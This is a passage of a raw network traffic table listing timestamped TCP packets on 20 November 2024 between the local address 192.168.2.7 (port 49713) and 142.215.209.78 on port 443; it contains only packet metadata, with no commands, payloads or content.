Nov 20, 2024 17:18:25.593938112 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.707400084 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.707433939 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.707542896 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.707583904 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.707600117 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.709666967 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.709712982 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.709734917 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.709753036 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.709775925 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.712944031 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.713023901 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.713038921 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.716047049 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.716140985 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.716155052 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.718839884 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.718916893 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.718935013 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.721779108 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.721872091 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.721885920 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.725234985 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.725320101 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.725333929 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.728288889 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.728355885 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.728368998 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.730788946 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.730922937 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.730942965 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.734412909 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.734539032 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.734570026 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.737574100 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.737648964 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.737663031 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.740266085 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.740345001 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.740359068 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.743092060 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.743165970 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.743174076 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.746733904 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.746799946 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.746809006 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.749646902 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.749744892 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.749752998 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.752337933 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.752412081 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.752419949 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.796998024 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.908864021 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.908884048 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.908999920 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.909049034 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.911056995 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.911096096 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.911129951 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.911163092 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.911190987 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.914421082 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.914511919 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.914532900 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.917342901 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.917434931 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.917448997 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.920509100 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.920607090 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.920633078 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.923719883 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.923815012 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.923839092 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.926481009 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.926558971 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.926575899 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.929626942 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.929744959 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.929763079 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.932845116 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.932935953 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.932965040 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.935663939 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.935753107 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.935770035 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.938770056 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.938844919 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.938854933 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.941771030 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.941833973 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.941844940 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.945209026 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.945272923 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.945283890 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.947935104 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.948015928 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.948025942 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.950762033 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.950834036 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.950848103 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.954377890 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.954461098 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.954473972 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.000129938 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.110198021 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.110209942 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.110276937 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.110310078 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.112276077 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.112320900 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.112339020 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.112350941 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.112365961 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.115962982 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.116058111 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.116066933 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.118648052 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.118726969 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.118735075 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.121560097 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.121628046 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.121637106 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.125231028 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.125313044 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.125322104 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.127954960 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.128068924 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.128077984 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.130693913 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.130790949 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.130800009 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.134247065 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.134334087 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.134346008 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.137835026 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.137927055 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.137934923 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.141096115 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.141222000 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.141232967 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.143233061 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.143326044 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.143332958 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.146545887 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.146622896 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.146632910 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.149816990 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.149900913 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.149915934 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.152278900 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.152374983 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.152384043 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.155729055 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.155829906 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.155837059 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.203258991 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.313267946 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.313280106 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.313368082 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.313415051 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.316008091 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.316018105 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.316107988 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.316128969 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.319353104 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.319391012 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.319432020 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.319453955 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.319478035 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.322191954 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.322278976 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.322294950 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.325790882 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.325871944 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.325887918 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.327665091 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.327734947 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.327749014 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.329356909 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.329447031 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.329459906 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.332926035 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.333081961 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.333093882 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.335700989 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.335787058 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.335799932 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.338323116 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.338402987 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.338416100 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.341909885 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.341991901 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.342005968 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.345129967 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.345212936 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.345227003 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.347904921 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.348088980 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.348110914 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.350863934 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.350959063 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.350970984 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.354449034 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.354532003 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.354545116 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.357100964 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.357176065 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.357187986 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.406383991 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.513145924 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.513178110 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.513243914 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.513295889 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.513305902 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.516016006 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.516058922 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.516088963 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.516100883 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.516119003 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.518902063 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.518970013 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.518980980 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.521755934 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.521848917 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.521858931 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.525151968 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.525226116 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.525235891 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.528099060 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.528177977 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.528188944 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.530678988 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.530781031 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.530788898 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.534384012 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.534466982 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.534477949 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.537152052 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.537224054 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.537235022 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.540713072 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.540783882 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.540792942 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.543178082 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.543262005 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.543272972 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.546578884 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.546766043 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.546799898 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.549489975 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.549571991 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.549592018 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.552345991 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.552405119 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.552424908 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.552457094 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.555694103 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.555758953 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.555773020 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.558626890 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.558705091 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.558718920 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.609533072 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.714483976 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.714517117 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.714581013 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.714624882 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.714644909 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.717212915 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.717257023 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.717294931 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.717314959 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.717345953 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.720310926 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.720391035 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.720422983 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.723619938 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.723702908 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.723733902 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.727260113 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.727358103 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.727374077 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.730125904 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.730210066 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.730223894 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.735076904 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.735160112 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.735177994 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.737062931 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.737147093 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.737162113 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.739198923 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.739288092 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.739301920 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.741836071 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.741919994 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.741934061 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.745109081 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.745183945 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.745198965 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.748565912 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.748642921 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.748656988 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.750566959 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.750634909 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.750655890 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.754174948 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.755049944 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.755064964 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.757271051 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.757358074 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.757390976 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.760549068 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.760629892 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.760663033 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.812628984 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.918975115 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.919006109 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.919081926 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.919125080 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.919141054 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.921910048 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.921974897 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.922054052 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.922071934 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.925390005 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.925437927 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.925461054 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.925477028 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.925507069 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.925524950 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.925550938 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.925589085 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.925610065 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.925633907 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.927896023 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:26.927980900 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:26.927997112 CET	443	49713	142.215.209.78	192.168.2.7
